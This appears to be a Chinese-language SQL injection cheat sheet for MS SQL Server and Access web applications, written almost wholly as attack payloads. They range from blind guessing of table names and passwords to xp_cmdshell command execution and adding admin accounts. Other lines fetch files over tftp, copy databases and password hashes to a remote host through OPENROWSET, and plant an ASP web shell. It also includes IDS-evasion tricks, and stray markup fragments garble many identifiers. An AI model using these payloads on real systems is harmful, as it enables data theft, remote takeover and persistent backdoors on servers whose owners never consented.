SQL注入的方式


 

1.判斷有無注入點
; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用戶字段名稱name)>0)

and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位

就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數字換成中文的ASSIC碼就OK.最后把結果再轉換成字符.

group by users.id having 1=1--

group by users.id, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )--

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-

UNION SELECT TOP 1 login_blank>_name FROM logintable-

UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--

看_blank>服務器打的補丁=出錯了打了SP4補丁

and 1=(select @@VERSION)--

看_blank>數據庫連接賬號的權限,返回正常,證明是_blank>服務器角色sysadmin權限。

and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判斷連接_blank>數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)

and sa=(SELECT System_blank>_user)--

and user_blank>_name()=dbo--

and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell被刪除,恢復,支持絕對路徑的恢復

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:inetpubwwwrootxplog70.dll--

反向PING自己實驗

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帳號

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add--

創建一個虛擬目錄E盤:

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w "默認Web站點" -v "e","e:"--

訪問屬性:(配合寫入一個webshell)

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse

爆庫 特殊_blank>技巧::%5c= 或者把/和 修改%5提交

and 0<>(select top 1 paths from newtable)--

得到庫名(從1到5都是系統的id,6以上才可以判斷)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的_blank>數據庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_blank>_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 來暴出其他的字段

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用戶名

依次可以得到_blank>密碼。。。。。假設存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路徑

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--

;use ku1;--

;create table cmd (str image);-- 建立image類型的表cmd

存在xp_blank>_cmdshell的測試過程:

;exec master..xp_blank>_cmdshell dir

;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帳號

;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--

;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_blank>_servicecontrol start, schedule 啟動_blank>服務

exec master..xp_blank>_servicecontrol start, server

; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add

; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:

;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目錄bak.dat

如果被限制則可以。

select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查詢構造:

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>

select 123;--

;use master;--

:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

上面的語句是得到_blank>數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。

通過查看ffff的用戶資料可得第一個用表叫ad

然后根據表名ad得到這個表的ID 得到第二個表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123, admin--, password, 0xffff)--

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //為access_blank>數據庫

枚舉出數據表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

這是將第一個表名更新到aaa的字段處。

讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

然后id=1552 and exists(select * from aaa where aaa>5)

讀出第二個表,一個個的讀出,直到沒有為止。

讀字段是這樣:

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--

然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--

然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名

[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)

通過SQLSERVER注入_blank>漏洞建_blank>數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查詢的數據表名),字段列如:1) [ where 條件]

繞過IDS的檢測[使用變量]

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:

1、 開啟遠程_blank>數據庫

基本語法

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

參數: (1) OLEDB Provider name

2、 其中連接字符串參數可以是任何端口用來連接,比如

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table

3.復制目標主機的整個_blank>數據庫insert所有遠程表到本地表。

基本語法:

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2

這行語句將目標主機上table2表中的所有數據復制到遠程_blank>數據庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)

select * from user_blank>_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)

select * from user_blank>_database.dbo.syscolumns

復制_blank>數據庫:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

復制哈西表(HASH)登錄_blank>密碼的hash存儲於sysxlogins中。方法如下:

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins

得到hash之后,就可以進行暴力破解。

遍歷目錄的方法: 先創建一個臨時表:temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_blank>_availablemedia;-- 獲得當前所有驅動器

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;-- 獲得子目錄列表

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;-- 獲得所有子目錄的目錄樹結構,並寸入temp表中

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:webindex.asp;-- 查看某個文件的內容

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;--

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c: *.asp /s/a;--

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;-- (xp_blank>_dirtree適用權限PUBLIC)

寫入表:

語句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--

語句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--

語句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--

語句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--

語句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--

語句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--

語句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--

語句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--

語句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--

把路徑寫到表中去:

;create table dirs(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_blank>_dirtree c:--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_blank>_dirtree e:web--

and 0<>(select top 1 paths from dirs1)--

把_blank>數據庫備份到網頁目錄:下載

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:webdown.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 參看相關表。

and 1=(select user_blank>_id from USER_blank>_LOGIN)

and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=-

declare @o int

exec sp_blank>_oacreate wscript.shell, @o out

exec sp_blank>_oamethod @o, run, NULL, notepad.exe

; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_blank>_oacreate scripting.filesystemobject, @o out

exec sp_blank>_oamethod @o, opentextfile, @f out, c:boot.ini, 1

exec @ret = sp_blank>_oamethod @f, readline, @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_blank>_oamethod @f, readline, @line out

end

declare @o int, @f int, @t int, @ret int

exec sp_blank>_oacreate scripting.filesystemobject, @o out

exec sp_blank>_oamethod @o, createtextfile, @f out, c:inetpubwwwrootfoo.asp, 1

exec @ret = sp_blank>_oamethod @f, writeline, NULL,

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int

exec sp_blank>_oacreate speech.voicetext, @o out

exec sp_blank>_oamethod @o, register, NULL, foo, bar

exec sp_blank>_oasetproperty @o, speed, 150

exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528

waitfor delay 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--

xp_blank>_dirtree適用權限PUBLIC

exec master.dbo.xp_blank>_dirtree c:

返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,這里建的表是和上面xp_blank>_dirtree相關連,字段相等、類型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:
只要我們建表與存儲進程返回的字段相定義相等就能夠執行!達到寫表的效果,一步步達到我們想要的信息!!!


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